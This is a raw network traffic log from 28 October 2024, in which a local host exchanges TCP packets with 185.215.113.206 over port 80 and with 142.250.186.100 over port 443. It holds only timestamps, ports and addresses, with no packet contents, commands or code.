Oct 28, 2024 06:27:07.757680893 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.757692099 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.757704020 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.757745981 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.757745981 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.758366108 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.758382082 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.758395910 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.758410931 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.758418083 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.758426905 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.758441925 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.758443117 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.758461952 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.758464098 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.758477926 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.758485079 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.758531094 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.789436102 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.789453030 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.789474964 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.789490938 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.789505959 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.789521933 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.789567947 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.789623022 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.789648056 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.789690971 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.789771080 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.789786100 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.789802074 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.789817095 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.789827108 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.789833069 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.789849043 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.789855957 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.789865971 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.789877892 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.789879084 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.789900064 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.789927006 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.790277958 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.790333033 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.790340900 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.790349960 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.790365934 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.790370941 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.790391922 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.790412903 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.790524006 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.790560961 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.790566921 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.790576935 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.790602922 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.790622950 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.790642977 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.790658951 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.790690899 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.790733099 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.790874004 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.790916920 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.790923119 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.790941000 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.790971041 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.790977955 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.790988922 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.790994883 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.791018963 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.791034937 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.791043997 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.791043997 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.791050911 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.791065931 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.791073084 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.791073084 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.791083097 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.791100025 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.791101933 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.791122913 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.791122913 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.791146040 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.832576990 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.832602978 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.832622051 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.832715988 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.832770109 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.875895023 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.875920057 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.875936985 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.875953913 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.876039982 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.876085043 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.876208067 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.876266956 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.876307964 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.876323938 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.876338959 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.876354933 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.876358986 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.876380920 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.876380920 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.876398087 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.876401901 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.876416922 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.876431942 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.876449108 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.876449108 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.876466036 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.876471043 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.876492023 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.876523018 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.876656055 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.876672029 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.876688004 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.876703024 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.876715899 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.876715899 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.876728058 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.876739025 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.876744986 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.876761913 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.876766920 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.876780033 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.876786947 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.876796007 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.876807928 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.876812935 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.876831055 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.876837969 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.876837969 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.876847982 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.876858950 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.876867056 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.876904964 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.876904964 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.876904964 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.877520084 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.877568007 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.877583027 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.877599001 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.877614021 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.877614021 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.877655029 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.877655029 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.908235073 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.908293962 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.908324957 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.908324957 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.908377886 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.908384085 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.908385038 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.908415079 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.908423901 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.908454895 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.908469915 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.908505917 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.908512115 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.908548117 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.908571959 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.908584118 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.908598900 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.908621073 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.908623934 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.908670902 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.908677101 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.908711910 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.908735991 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.908746004 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.908765078 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.908795118 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:09.239629984 CET	49734	443	192.168.2.4	142.250.186.100
Oct 28, 2024 06:27:09.239684105 CET	443	49734	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:09.239737034 CET	49734	443	192.168.2.4	142.250.186.100
Oct 28, 2024 06:27:09.240217924 CET	49734	443	192.168.2.4	142.250.186.100
Oct 28, 2024 06:27:09.240233898 CET	443	49734	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:09.308113098 CET	49735	443	192.168.2.4	142.250.186.100
Oct 28, 2024 06:27:09.308207989 CET	443	49735	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:09.308293104 CET	49735	443	192.168.2.4	142.250.186.100
Oct 28, 2024 06:27:09.308491945 CET	49735	443	192.168.2.4	142.250.186.100
Oct 28, 2024 06:27:09.308545113 CET	443	49735	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:09.395034075 CET	49736	443	192.168.2.4	142.250.186.100
Oct 28, 2024 06:27:09.395093918 CET	443	49736	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:09.395178080 CET	49736	443	192.168.2.4	142.250.186.100
Oct 28, 2024 06:27:09.395395041 CET	49736	443	192.168.2.4	142.250.186.100
Oct 28, 2024 06:27:09.395410061 CET	443	49736	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:09.484050035 CET	49737	443	192.168.2.4	142.250.186.100
Oct 28, 2024 06:27:09.484148979 CET	443	49737	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:09.484230042 CET	49737	443	192.168.2.4	142.250.186.100
Oct 28, 2024 06:27:09.484438896 CET	49737	443	192.168.2.4	142.250.186.100
Oct 28, 2024 06:27:09.484476089 CET	443	49737	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.112838030 CET	443	49734	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.113120079 CET	49734	443	192.168.2.4	142.250.186.100
Oct 28, 2024 06:27:10.113147020 CET	443	49734	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.114583015 CET	443	49734	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.114645958 CET	49734	443	192.168.2.4	142.250.186.100
Oct 28, 2024 06:27:10.115669012 CET	49734	443	192.168.2.4	142.250.186.100
Oct 28, 2024 06:27:10.115756035 CET	443	49734	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.115832090 CET	49734	443	192.168.2.4	142.250.186.100
Oct 28, 2024 06:27:10.157366991 CET	49734	443	192.168.2.4	142.250.186.100
Oct 28, 2024 06:27:10.157392025 CET	443	49734	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.167939901 CET	443	49735	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.168236017 CET	49735	443	192.168.2.4	142.250.186.100
Oct 28, 2024 06:27:10.168297052 CET	443	49735	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.169373989 CET	443	49735	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.169465065 CET	49735	443	192.168.2.4	142.250.186.100
Oct 28, 2024 06:27:10.169862032 CET	49735	443	192.168.2.4	142.250.186.100
Oct 28, 2024 06:27:10.169939041 CET	443	49735	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.170187950 CET	49735	443	192.168.2.4	142.250.186.100
Oct 28, 2024 06:27:10.170206070 CET	443	49735	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.211654902 CET	49734	443	192.168.2.4	142.250.186.100
Oct 28, 2024 06:27:10.211658955 CET	49735	443	192.168.2.4	142.250.186.100
Oct 28, 2024 06:27:10.286444902 CET	443	49736	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.286659956 CET	49736	443	192.168.2.4	142.250.186.100
Oct 28, 2024 06:27:10.286669016 CET	443	49736	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.288177013 CET	443	49736	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.288238049 CET	49736	443	192.168.2.4	142.250.186.100
Oct 28, 2024 06:27:10.288582087 CET	49736	443	192.168.2.4	142.250.186.100
Oct 28, 2024 06:27:10.288665056 CET	443	49736	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.288712978 CET	49736	443	192.168.2.4	142.250.186.100
Oct 28, 2024 06:27:10.331371069 CET	443	49736	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.336642027 CET	49736	443	192.168.2.4	142.250.186.100
Oct 28, 2024 06:27:10.336651087 CET	443	49736	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.337507010 CET	443	49737	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.337745905 CET	49737	443	192.168.2.4	142.250.186.100
Oct 28, 2024 06:27:10.337779045 CET	443	49737	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.340962887 CET	443	49737	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.341038942 CET	49737	443	192.168.2.4	142.250.186.100
Oct 28, 2024 06:27:10.341382027 CET	49737	443	192.168.2.4	142.250.186.100
Oct 28, 2024 06:27:10.341443062 CET	443	49737	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.383528948 CET	49736	443	192.168.2.4	142.250.186.100
Oct 28, 2024 06:27:10.383588076 CET	49737	443	192.168.2.4	142.250.186.100
Oct 28, 2024 06:27:10.383618116 CET	443	49737	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.393779039 CET	443	49734	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.393909931 CET	443	49734	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.393971920 CET	49734	443	192.168.2.4	142.250.186.100
Oct 28, 2024 06:27:10.393987894 CET	443	49734	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.394062042 CET	443	49734	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.395236015 CET	49734	443	192.168.2.4	142.250.186.100
Oct 28, 2024 06:27:10.395241976 CET	443	49734	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.395384073 CET	49734	443	192.168.2.4	142.250.186.100
Oct 28, 2024 06:27:10.395428896 CET	443	49734	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.395484924 CET	49734	443	192.168.2.4	142.250.186.100
Oct 28, 2024 06:27:10.430430889 CET	49737	443	192.168.2.4	142.250.186.100
Oct 28, 2024 06:27:10.457237005 CET	443	49735	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.457341909 CET	443	49735	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.457370043 CET	443	49735	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.457447052 CET	443	49735	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.457468987 CET	49735	443	192.168.2.4	142.250.186.100
Oct 28, 2024 06:27:10.457506895 CET	443	49735	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.457544088 CET	49735	443	192.168.2.4	142.250.186.100
Oct 28, 2024 06:27:10.457880020 CET	443	49735	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.458636999 CET	49735	443	192.168.2.4	142.250.186.100
Oct 28, 2024 06:27:10.458672047 CET	443	49735	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.467459917 CET	443	49735	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.467536926 CET	49735	443	192.168.2.4	142.250.186.100
Oct 28, 2024 06:27:10.467552900 CET	443	49735	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.508542061 CET	49735	443	192.168.2.4	142.250.186.100
Oct 28, 2024 06:27:10.573944092 CET	443	49736	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.576545954 CET	443	49735	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.576600075 CET	443	49735	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.576965094 CET	49735	443	192.168.2.4	142.250.186.100
Oct 28, 2024 06:27:10.577028990 CET	443	49735	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.577231884 CET	443	49735	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.577500105 CET	49735	443	192.168.2.4	142.250.186.100
Oct 28, 2024 06:27:10.577517986 CET	443	49735	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.581643105 CET	443	49735	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.581701994 CET	49735	443	192.168.2.4	142.250.186.100
Oct 28, 2024 06:27:10.581717968 CET	443	49735	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.590446949 CET	443	49735	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.590506077 CET	49735	443	192.168.2.4	142.250.186.100
Oct 28, 2024 06:27:10.590523005 CET	443	49735	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.599013090 CET	443	49735	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.599072933 CET	49735	443	192.168.2.4	142.250.186.100
Oct 28, 2024 06:27:10.599088907 CET	443	49735	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.608098984 CET	443	49735	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.608191967 CET	49735	443	192.168.2.4	142.250.186.100
Oct 28, 2024 06:27:10.608206987 CET	443	49735	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.617597103 CET	443	49735	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.617672920 CET	49735	443	192.168.2.4	142.250.186.100
Oct 28, 2024 06:27:10.617687941 CET	443	49735	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.617897987 CET	49736	443	192.168.2.4	142.250.186.100
Oct 28, 2024 06:27:10.617906094 CET	443	49736	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.618973017 CET	49736	443	192.168.2.4	142.250.186.100
Oct 28, 2024 06:27:10.619057894 CET	443	49736	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.619126081 CET	49736	443	192.168.2.4	142.250.186.100
Oct 28, 2024 06:27:10.625588894 CET	443	49735	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.627468109 CET	49735	443	192.168.2.4	142.250.186.100
Oct 28, 2024 06:27:10.627481937 CET	443	49735	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.633416891 CET	443	49735	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.633486032 CET	49735	443	192.168.2.4	142.250.186.100
Oct 28, 2024 06:27:10.633501053 CET	443	49735	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.680223942 CET	49735	443	192.168.2.4	142.250.186.100
Oct 28, 2024 06:27:10.680243015 CET	443	49735	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.695995092 CET	443	49735	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.696026087 CET	443	49735	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.696053982 CET	443	49735	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.696137905 CET	49735	443	192.168.2.4	142.250.186.100
Oct 28, 2024 06:27:10.696162939 CET	443	49735	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.696188927 CET	49735	443	192.168.2.4	142.250.186.100
Oct 28, 2024 06:27:10.697738886 CET	443	49735	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.698462963 CET	443	49735	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.698520899 CET	49735	443	192.168.2.4	142.250.186.100
Oct 28, 2024 06:27:10.698538065 CET	443	49735	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.699455023 CET	49735	443	192.168.2.4	142.250.186.100
Oct 28, 2024 06:27:10.701472044 CET	443	49735	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.710381031 CET	443	49735	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.711464882 CET	49735	443	192.168.2.4	142.250.186.100
Oct 28, 2024 06:27:10.711472988 CET	443	49735	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.718859911 CET	443	49735	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.718892097 CET	443	49735	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.718955040 CET	49735	443	192.168.2.4	142.250.186.100
Oct 28, 2024 06:27:10.718962908 CET	443	49735	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.720433950 CET	49735	443	192.168.2.4	142.250.186.100
Oct 28, 2024 06:27:10.728226900 CET	443	49735	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.736687899 CET	443	49735	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.736713886 CET	443	49735	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.736763954 CET	49735	443	192.168.2.4	142.250.186.100
Oct 28, 2024 06:27:10.736779928 CET	443	49735	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.737118959 CET	49735	443	192.168.2.4	142.250.186.100
Oct 28, 2024 06:27:10.744920015 CET	443	49735	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.753101110 CET	443	49735	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.753127098 CET	443	49735	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.753149986 CET	443	49735	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.753176928 CET	49735	443	192.168.2.4	142.250.186.100
Oct 28, 2024 06:27:10.753206015 CET	443	49735	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.753253937 CET	49735	443	192.168.2.4	142.250.186.100
Oct 28, 2024 06:27:10.805144072 CET	49735	443	192.168.2.4	142.250.186.100
Oct 28, 2024 06:27:10.805160046 CET	443	49735	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.816142082 CET	443	49735	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.816203117 CET	443	49735	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.816209078 CET	49735	443	192.168.2.4	142.250.186.100
Oct 28, 2024 06:27:10.816235065 CET	443	49735	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.816274881 CET	49735	443	192.168.2.4	142.250.186.100
Oct 28, 2024 06:27:10.816282988 CET	443	49735	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.817012072 CET	443	49735	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.817066908 CET	49735	443	192.168.2.4	142.250.186.100
Oct 28, 2024 06:27:10.817073107 CET	443	49735	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.819184065 CET	443	49735	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.819243908 CET	49735	443	192.168.2.4	142.250.186.100
Oct 28, 2024 06:27:10.819252014 CET	443	49735	142.250.186.100	192.168.2.4
